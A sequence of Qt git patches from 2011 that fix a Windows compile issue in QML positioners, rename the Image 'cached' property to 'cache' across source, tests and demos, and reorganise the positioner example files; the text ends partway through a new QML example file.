Compile on windows --- src/declarative/graphicsitems/qdeclarativepositioners.cpp | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index b3383ab..ee9181d 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -611,7 +611,7 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) { int hoffset = 0; - int hoffsets[positionedItems.count()]; + QList hoffsets; for (int ii = 0; ii < positionedItems.count(); ++ii) { const PositionedItem &child = positionedItems.at(ii); if (!child.item || !child.isVisible) @@ -621,7 +621,7 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) if(child.item->x() != hoffset) positionX(hoffset, child); }else{ - hoffsets[ii] = hoffset; + hoffsets << hoffset; } contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height())); @@ -642,11 +642,12 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) else end = width(); + int acc = 0; for (int ii = 0; ii < positionedItems.count(); ++ii) { const PositionedItem &child = positionedItems.at(ii); if (!child.item || !child.isVisible) continue; - hoffset = end - hoffsets[ii] - QGraphicsItemPrivate::get(child.item)->width(); + hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width(); if(child.item->x() != hoffset) positionX(hoffset, child); } @@ -1234,7 +1235,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) int hoffset = 0; int voffset = 0; int linemax = 0; - int hoffsets[positionedItems.count()]; + QList hoffsets; for (int i = 0; i < positionedItems.count(); ++i) { const PositionedItem &child = positionedItems.at(i); @@ -1260,7 +1261,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) if(child.item->x() != hoffset) positionX(hoffset, child); }else{ - hoffsets[i] = hoffset; + hoffsets << hoffset; } if(child.item->y() != voffset) positionY(voffset, child); @@ -1287,11 +1288,12 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) end = width(); else end = contentSize->width(); + int acc = 0; for (int i = 0; i < positionedItems.count(); ++i) { const PositionedItem &child = positionedItems.at(i); if (!child.item || !child.isVisible) continue; - hoffset = end - hoffsets[i] - QGraphicsItemPrivate::get(child.item)->width(); + hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width(); if(child.item->x() != hoffset) positionX(hoffset, child); } -- cgit v0.12 From 5ddfe819e93462eff396c24d10c0446c4cd9b0ac Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 18 Jan 2011 10:40:26 +1000 Subject: Rename Image::cached to 'cached' (and QDeclarativePixmap::Cached also) This is to keep consistent property naming consistent. E.g. Image has 'smooth', 'mirror' properties rather than 'smoothed', 'mirrored'. For consistency QDeclarativePixmap::Cached was renamed as well. Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeborderimage.cpp | 8 ++++---- src/declarative/graphicsitems/qdeclarativeimage.cpp | 6 +++--- src/declarative/graphicsitems/qdeclarativeimagebase.cpp | 16 ++++++++-------- src/declarative/graphicsitems/qdeclarativeimagebase_p.h | 8 ++++---- .../graphicsitems/qdeclarativeimagebase_p_p.h | 4 ++-- src/declarative/util/qdeclarativepixmapcache.cpp | 8 ++++---- src/declarative/util/qdeclarativepixmapcache_p.h | 2 +- .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 14 +++++++------- 8 files changed, 33 insertions(+), 33 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 49ee357..3832813 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -313,8 +313,8 @@ void QDeclarativeBorderImage::load() QDeclarativePixmap::Options options; if (d->async) options |= QDeclarativePixmap::Asynchronous; - if (d->cached) - options |= QDeclarativePixmap::Cached; + if (d->cache) + options |= QDeclarativePixmap::Cache; d->pix.load(qmlEngine(this), d->url, options); if (d->pix.isLoading()) { @@ -442,8 +442,8 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma QDeclarativePixmap::Options options; if (d->async) options |= QDeclarativePixmap::Asynchronous; - if (d->cached) - options |= QDeclarativePixmap::Cached; + if (d->cache) + options |= QDeclarativePixmap::Cache; d->pix.load(qmlEngine(this), d->sciurl, options); if (d->pix.isLoading()) { diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 71a4f0c..2c9bde5 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -459,11 +459,11 @@ QRectF QDeclarativeImage::boundingRect() const */ /*! - \qmlproperty bool Image::cached + \qmlproperty bool Image::cache \since Quick 1.1 - Specifies that the image should be cached. The default value is - true. Setting \a cached to false is useful when dealing with large images, + Specifies whether the image should be cached. The default value is + true. Setting \a cache to false is useful when dealing with large images, to make sure that they aren't cached at the expense of small 'ui element' images. */ diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index b99ed4b..7ce357b 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -128,20 +128,20 @@ QSize QDeclarativeImageBase::sourceSize() const return QSize(width != -1 ? width : implicitWidth(), height != -1 ? height : implicitHeight()); } -bool QDeclarativeImageBase::cached() const +bool QDeclarativeImageBase::cache() const { Q_D(const QDeclarativeImageBase); - return d->cached; + return d->cache; } -void QDeclarativeImageBase::setCached(bool cached) +void QDeclarativeImageBase::setCache(bool cache) { Q_D(QDeclarativeImageBase); - if (d->cached == cached) + if (d->cache == cache) return; - d->cached = cached; - emit cachedChanged(); + d->cache = cache; + emit cacheChanged(); if (isComponentComplete()) load(); } @@ -184,8 +184,8 @@ void QDeclarativeImageBase::load() QDeclarativePixmap::Options options; if (d->async) options |= QDeclarativePixmap::Asynchronous; - if (d->cached) - options |= QDeclarativePixmap::Cached; + if (d->cache) + options |= QDeclarativePixmap::Cache; d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options); if (d->pix.isLoading()) { diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index ad2e370..4d2aa04 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -58,7 +58,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) - Q_PROPERTY(bool cached READ cached WRITE setCached NOTIFY cachedChanged) // ### VERSIONING: Only in QtQuick 1.1 + Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged) // ### VERSIONING: Only in QtQuick 1.1 Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged) Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged) // ### VERSIONING: Only in QtQuick 1.1 @@ -74,8 +74,8 @@ public: bool asynchronous() const; void setAsynchronous(bool); - bool cached() const; - void setCached(bool); + bool cache() const; + void setCache(bool); virtual void setSourceSize(const QSize&); QSize sourceSize() const; @@ -89,7 +89,7 @@ Q_SIGNALS: void statusChanged(QDeclarativeImageBase::Status); void progressChanged(qreal progress); void asynchronousChanged(); - void cachedChanged(); + void cacheChanged(); void mirrorChanged(); protected: diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index 475e7cd..39cf44e 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -71,7 +71,7 @@ public: progress(0.0), explicitSourceSize(false), async(false), - cached(true), + cache(true), mirror(false) { QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; @@ -84,7 +84,7 @@ public: QSize sourcesize; bool explicitSourceSize : 1; bool async : 1; - bool cached : 1; + bool cache : 1; bool mirror: 1; }; diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index aef24c6..5190eab 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -959,7 +959,7 @@ QRect QDeclarativePixmap::rect() const void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url) { - load(engine, url, QSize(), QDeclarativePixmap::Cached); + load(engine, url, QSize(), QDeclarativePixmap::Cache); } void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarativePixmap::Options options) @@ -969,7 +969,7 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDecl void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size) { - load(engine, url, size, QDeclarativePixmap::Cached); + load(engine, url, size, QDeclarativePixmap::Cache); } void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarativePixmap::Options options) @@ -994,7 +994,7 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const bool ok = false; d = createPixmapDataSync(engine, url, requestSize, &ok); if (ok) { - if (options & QDeclarativePixmap::Cached) + if (options & QDeclarativePixmap::Cache) d->addToCache(); return; } @@ -1008,7 +1008,7 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QDeclarativePixmapReader *reader = QDeclarativePixmapReader::instance(engine); d = new QDeclarativePixmapData(url, requestSize); - if (options & QDeclarativePixmap::Cached) + if (options & QDeclarativePixmap::Cache) d->addToCache(); d->reply = reader->getImage(d); diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h index b16f1bf..1cf76dd 100644 --- a/src/declarative/util/qdeclarativepixmapcache_p.h +++ b/src/declarative/util/qdeclarativepixmapcache_p.h @@ -68,7 +68,7 @@ public: enum Option { Asynchronous = 0x00000001, - Cached = 0x00000002 + Cache = 0x00000002 }; Q_DECLARE_FLAGS(Options, Option) diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index 7bb629e..c277eb7 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -126,7 +126,7 @@ void tst_qdeclarativeimage::imageSource_data() QTest::addColumn("height"); QTest::addColumn("remote"); QTest::addColumn("async"); - QTest::addColumn("cached"); + QTest::addColumn("cache"); QTest::addColumn("error"); QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << ""; @@ -151,7 +151,7 @@ void tst_qdeclarativeimage::imageSource() QFETCH(double, height); QFETCH(bool, remote); QFETCH(bool, async); - QFETCH(bool, cached); + QFETCH(bool, cache); QFETCH(QString, error); TestHTTPServer server(SERVER_PORT); @@ -165,8 +165,8 @@ void tst_qdeclarativeimage::imageSource() QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: " - + (async ? QLatin1String("true") : QLatin1String("false")) + "; cached: " - + (cached ? QLatin1String("true") : QLatin1String("false")) + " }"; + + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: " + + (cache ? QLatin1String("true") : QLatin1String("false")) + " }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); @@ -177,10 +177,10 @@ void tst_qdeclarativeimage::imageSource() else QVERIFY(obj->asynchronous() == false); - if (cached) - QVERIFY(obj->cached() == true); + if (cache) + QVERIFY(obj->cache() == true); else - QVERIFY(obj->cached() == false); + QVERIFY(obj->cache() == false); if (remote || async) QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading); -- cgit v0.12 From eaacbac00bbd65cc6b12de9db4556dd2bdd18a5c Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 19 Jan 2011 15:44:28 +1000 Subject: Update demos following renaming of Image::cached --- demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index e0c1363..bfc8756 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -88,11 +88,11 @@ Package { } BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready } Image { - id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cached: false + id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cache: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Image { - id: hqImage; smooth: true; source: ""; visible: false; cached: false + id: hqImage; smooth: true; source: ""; visible: false; cache: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Binding { -- cgit v0.12 From eead12e91799c766dd3913687156a37f245ee20e Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 15:35:55 +1000 Subject: Add a layout direction example to positioners Task-number: Reviewed-by: Alan Alpert --- doc/src/declarative/examples.qdoc | 3 +- doc/src/examples/qml-examples.qdoc | 18 +- .../qml-positioners-layoutdirection-example.png | Bin 0 -> 13019 bytes examples/declarative/positioners/Button.qml | 78 ------- examples/declarative/positioners/add.png | Bin 810 -> 0 bytes .../positioners/addandremove/Button.qml | 78 +++++++ .../declarative/positioners/addandremove/add.png | Bin 0 -> 810 bytes .../positioners/addandremove/addandremove.qml | 253 +++++++++++++++++++++ .../addandremove/addandremove.qmlproject | 18 ++ .../declarative/positioners/addandremove/del.png | Bin 0 -> 488 bytes examples/declarative/positioners/del.png | Bin 488 -> 0 bytes .../layoutdirection/layoutdirection.qml | 151 ++++++++++++ .../layoutdirection/layoutdirection.qmlproject | 18 ++ examples/declarative/positioners/positioners.qml | 253 --------------------- .../declarative/positioners/positioners.qmlproject | 18 -- .../graphicsitems/qdeclarativepositioners.cpp | 23 +- 16 files changed, 546 insertions(+), 365 deletions(-) create mode 100644 doc/src/images/qml-positioners-layoutdirection-example.png delete mode 100644 examples/declarative/positioners/Button.qml delete mode 100644 examples/declarative/positioners/add.png create mode 100644 examples/declarative/positioners/addandremove/Button.qml create mode 100644 examples/declarative/positioners/addandremove/add.png create mode 100644 examples/declarative/positioners/addandremove/addandremove.qml create mode 100644 examples/declarative/positioners/addandremove/addandremove.qmlproject create mode 100644 examples/declarative/positioners/addandremove/del.png delete mode 100644 examples/declarative/positioners/del.png create mode 100644 examples/declarative/positioners/layoutdirection/layoutdirection.qml create mode 100644 examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject delete mode 100644 examples/declarative/positioners/positioners.qml delete mode 100644 examples/declarative/positioners/positioners.qmlproject diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc index e03557b..be2d0c7 100644 --- a/doc/src/declarative/examples.qdoc +++ b/doc/src/declarative/examples.qdoc @@ -136,7 +136,8 @@ The examples can be found in Qt's \c examples/declarative directory. \section2 Positioners \list -\o \l{declarative/positioners}{Example} +\o \l{declarative/positioners/addandremove}{Adding and Removing Items} +\o \l{declarative/positioners/layoutdirection}{Layout Direction} \endlist \section2 Key Interaction diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc index 46af110..2dc45e3 100644 --- a/doc/src/examples/qml-examples.qdoc +++ b/doc/src/examples/qml-examples.qdoc @@ -270,16 +270,26 @@ */ /*! - \title Positioners Example - \example declarative/positioners + \title Positioners: Adding and Removing Items Example + \example declarative/positioners/addandremove - This example shows how to use positioner elements such as \l Row, \l Column, - \l Grid and \l Flow. + This example shows how to use the positioner elements such as \l Row, \l Column, + \l Grid and \l Flow, in particular how to add and remove items with appropriate transitions. \image qml-positioners-example.png */ /*! + \title Positioners: Layout Direction Example + \example declarative/positioners/layoutdirection + + This example shows how to control the horizontal layout direction of + \l Row, \l Grid and \l Flow positioners. + + \image qml-positioners-layoutdirection-example.png +*/ + +/*! \title Key Interaction: Focus Example \example declarative/keyinteraction/focus diff --git a/doc/src/images/qml-positioners-layoutdirection-example.png b/doc/src/images/qml-positioners-layoutdirection-example.png new file mode 100644 index 0000000..2c42b09 Binary files /dev/null and b/doc/src/images/qml-positioners-layoutdirection-example.png differ diff --git a/examples/declarative/positioners/Button.qml b/examples/declarative/positioners/Button.qml deleted file mode 100644 index 25907c0..0000000 --- a/examples/declarative/positioners/Button.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - - property string text - property string icon - signal clicked - - border.color: "black"; color: "steelblue"; radius: 5 - width: pix.width + textelement.width + 13 - height: pix.height + 10 - - Image { id: pix; x: 5; y:5; source: parent.icon } - - Text { - id: textelement - text: page.text; color: "white" - x: pix.width + pix.x + 3 - anchors.verticalCenter: pix.verticalCenter - } - - MouseArea { - id: mr - anchors.fill: parent - onClicked: { parent.focus = true; page.clicked() } - } - - states: State { - name: "pressed"; when: mr.pressed - PropertyChanges { target: textelement; x: 5 } - PropertyChanges { target: pix; x: textelement.x + textelement.width + 3 } - } - - transitions: Transition { - NumberAnimation { properties: "x,left"; easing.type: Easing.InOutQuad; duration: 200 } - } -} diff --git a/examples/declarative/positioners/add.png b/examples/declarative/positioners/add.png deleted file mode 100644 index 1ee4542..0000000 Binary files a/examples/declarative/positioners/add.png and /dev/null differ diff --git a/examples/declarative/positioners/addandremove/Button.qml b/examples/declarative/positioners/addandremove/Button.qml new file mode 100644 index 0000000..25907c0 --- /dev/null +++ b/examples/declarative/positioners/addandremove/Button.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + id: page + + property string text + property string icon + signal clicked + + border.color: "black"; color: "steelblue"; radius: 5 + width: pix.width + textelement.width + 13 + height: pix.height + 10 + + Image { id: pix; x: 5; y:5; source: parent.icon } + + Text { + id: textelement + text: page.text; color: "white" + x: pix.width + pix.x + 3 + anchors.verticalCenter: pix.verticalCenter + } + + MouseArea { + id: mr + anchors.fill: parent + onClicked: { parent.focus = true; page.clicked() } + } + + states: State { + name: "pressed"; when: mr.pressed + PropertyChanges { target: textelement; x: 5 } + PropertyChanges { target: pix; x: textelement.x + textelement.width + 3 } + } + + transitions: Transition { + NumberAnimation { properties: "x,left"; easing.type: Easing.InOutQuad; duration: 200 } + } +} diff --git a/examples/declarative/positioners/addandremove/add.png b/examples/declarative/positioners/addandremove/add.png new file mode 100644 index 0000000..1ee4542 Binary files /dev/null and b/examples/declarative/positioners/addandremove/add.png differ diff --git a/examples/declarative/positioners/addandremove/addandremove.qml b/examples/declarative/positioners/addandremove/addandremove.qml new file mode 100644 index 0000000..7d6d8fe --- /dev/null +++ b/examples/declarative/positioners/addandremove/addandremove.qml @@ -0,0 +1,253 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + id: page + width: 420; height: 420 + + Column { + id: layout1 + y: 0 + move: Transition { + NumberAnimation { properties: "y"; easing.type: Easing.OutBounce } + } + add: Transition { + NumberAnimation { properties: "y"; easing.type: Easing.OutQuad } + } + + Rectangle { color: "red"; width: 100; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueV1 + width: 100; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 100; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueV2 + width: 100; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 100; height: 50; border.color: "black"; radius: 15 } + } + + Row { + id: layout2 + y: 300 + move: Transition { + NumberAnimation { properties: "x"; easing.type: Easing.OutBounce } + } + add: Transition { + NumberAnimation { properties: "x"; easing.type: Easing.OutQuad } + } + + Rectangle { color: "red"; width: 50; height: 100; border.color: "black"; radius: 15 } + + Rectangle { + id: blueH1 + width: 50; height: 100 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 50; height: 100; border.color: "black"; radius: 15 } + + Rectangle { + id: blueH2 + width: 50; height: 100 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 50; height: 100; border.color: "black"; radius: 15 } + } + + Button { + x: 135; y: 90 + text: "Remove" + icon: "del.png" + + onClicked: { + blueH2.opacity = 0 + blueH1.opacity = 0 + blueV1.opacity = 0 + blueV2.opacity = 0 + blueG1.opacity = 0 + blueG2.opacity = 0 + blueG3.opacity = 0 + blueF1.opacity = 0 + blueF2.opacity = 0 + blueF3.opacity = 0 + } + } + + Button { + x: 145; y: 140 + text: "Add" + icon: "add.png" + + onClicked: { + blueH2.opacity = 1 + blueH1.opacity = 1 + blueV1.opacity = 1 + blueV2.opacity = 1 + blueG1.opacity = 1 + blueG2.opacity = 1 + blueG3.opacity = 1 + blueF1.opacity = 1 + blueF2.opacity = 1 + blueF3.opacity = 1 + } + } + + Grid { + x: 260; y: 0 + columns: 3 + + move: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + add: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueG1 + width: 50; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueG2 + width: 50; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueG3 + width: 50; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } + Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } + Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } + } + + Flow { + id: layout4 + x: 260; y: 250; width: 150 + + move: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + add: Transition { + NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } + } + + Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueF1 + width: 60; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 30; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueF2 + width: 60; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueF3 + width: 40; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "red"; width: 80; height: 50; border.color: "black"; radius: 15 } + } 